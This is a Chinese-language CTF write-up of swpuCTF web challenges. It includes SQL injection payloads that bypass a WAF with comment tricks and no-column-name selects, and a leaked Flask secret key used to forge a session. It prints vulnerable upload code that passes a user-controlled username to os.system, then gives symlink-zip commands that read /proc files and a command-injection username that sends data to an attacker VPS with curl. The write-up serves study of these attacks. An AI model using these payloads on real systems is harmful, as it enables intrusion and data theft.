1.前言
这个比赛没怎么打,比赛为了多拿些分,基本都是在做杂项…..web交给队里的大佬在做(毕竟做web我也帮不上什么忙233333)…..
这个比赛五题杂项,解了四题,题目傻的一批,倒是web解出的人少了很多,学长也是真的厉害…..
swpuCTF复现现场…..
2.复现现场
2.1web1
登录后申请一个广告,广告名为cookie’,当我们查看广告详情的时候:
报错了,所以这里是存在sql注入的.尝试联合注入,因为我发现#,–+等关键词被waf掉了.
然后尝试联合注入,这里union,select 是没有被过滤掉的.
然后多次尝试后…
发现字段有22个….然后2,3位可回显
注表名:
1
| title=test'/**/union/**/select/**/1,(select/**/group_concat(distinct/**/ table_name)/**/from/**/ mysql.innodb_index_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=1&ac=add
|
另外参考学长的payload如下:
用 sys.schema_auto_increment_columns 来注表名
1 2 3
| title=ad'/**/union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18,19,20,21,'22&content=1&ac=add
|
但是无法得到列名,因为information被waf了,然后这里学到一个新技巧:无列名注入的方法
payload如下:
1 2 3
| title=ad'/**/union/**/select/**/1, (select/**/a.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)a/**/limit/* */1,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,1,'1&content=1&ac=add
|
2.2web3
考察python的secret-key泄露
打开题目是一个登录框,随便弄个用户名登录后,burp抓包看到一个session
对此session进行解密
然后把100修改成1 ,进行加密试试,但是加密需要secret-key
根据提示
访问一个不存在的页面试试,返回一个token:U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==
1
| SECRET_KEY:keyqqqwwweee!@
|
对此进行加密
伪造session越权.
在注释里获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| @app.route('/upload',methods=['GET','POST']) def upload(): if session['id'] != b'1': return render_template_string(temp) if request.method=='POST': m = hashlib.md5() name = session['password'] name = name+'qweqweqwe' name = name.encode(encoding='utf-8') m.update(name) md5_one= m.hexdigest() n = hashlib.md5() ip = request.remote_addr ip = ip.encode(encoding='utf-8') n.update(ip) md5_ip = n.hexdigest() f=request.files['file'] basepath=os.path.dirname(os.path.realpath(__file__)) path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/" path_base = basepath+'/upload/'+md5_ip+'/' filename = f.filename pathname = path+filename if "zip" != filename.split('.')[-1]: return 'zip only allowed' if not os.path.exists(path_base): try: os.makedirs(path_base) except Exception as e: return 'error' if not os.path.exists(path): try: os.makedirs(path) except Exception as e: return 'error' if not os.path.exists(pathname): try: f.save(pathname) except Exception as e: return 'error' try: cmd = "unzip -n -d "+path+" "+ pathname if cmd.find('|') != -1 or cmd.find(';') != -1: waf() return 'error' os.system(cmd) except Exception as e: return 'error' unzip_file = zipfile.ZipFile(pathname,'r') unzip_filename = unzip_file.namelist()[0] if session['is_login'] != True: return 'not login' try: if unzip_filename.find('/') != -1: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' image = open(path+unzip_filename, "rb").read() resp = make_response(image) resp.headers['Content-Type'] = 'image/png' return resp except Exception as e: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' return render_template('upload.html')
@app.route('/showflag') def showflag(): if True == False: image = open(os.path.join('./flag/flag.jpg'), "rb").read() resp = make_response(image) resp.headers['Content-Type'] = 'image/png' return resp else: return "can't give you"
|
源码的意思差不多就是我们上传一个zip包然后会后台解zip包读取zip包中的内容,我们上传软链接压缩包
关于软链接的知识:https://blog.csdn.net/m290345792/article/details/78518360
看代码可以猜测flag在./flag/flag.jpg,但是我们并不知道正确的文件位置,在 linux 中, /proc/self/cwd/ 会指向进程的当前目目录.所以使用/proc/self/cwd/flag/flag.jpg来代替真正的文件位置.
创建软链接压缩包:
1 2
| ln -s /proc/self/cwd/flag/flag.jpg qwe zip -ry qwe.zip qwe
|
上传软链接压缩包,并且将session改成我们伪造的session.
预期解中还有一个解法:
在 linux 中, /proc/self/environ 文文件里里里包含了了进程的环境变量量,可以从中获取 flask 应用用的绝对路路径,再通过绝对路路径制作软链接来读取 flag.jpg (PS:在浏览器器中,我们无无法直接看到 /proc/self/environ 的内容,只需要下载到本地,用用 notepad++打开即可)
命令如下:
1 2 3 4
| ln -s /proc/self/environ qqq zip -ry qqq.zip qqq ln -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg www zip -ry [www.zip](http:
|
这个我试了,没有成功
就到这一步了,我没有找到flask的绝对路径
再提供一个非常骚的非预期解
在源码中有这么一段:
1 2 3 4 5
| cmd = "unzip -n -d "+path+" "+ pathname if cmd.find('|') != -1 or cmd.find(';') != -1: waf() return 'error' os.system(cmd)
|
其中:
1 2 3 4 5 6
| f=request.files['file'] basepath=os.path.dirname(os.path.realpath(__file__)) path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/" path_base = basepath+'/upload/'+md5_ip+'/' filename = f.filename pathname = path+filename
|
这里的path是我们可控的,由于session[‘username’]是我们可控的
那我们可以让cmd长成这样:
1
| unzip -n -d + & curl vps:8888
|
那么我们在vps上监听8888端口,使用curl就能带出信息,构造用户名为& curl vps:8888#
附上学长的wp:
2.3web4
进入靶机后,还是一个登录框.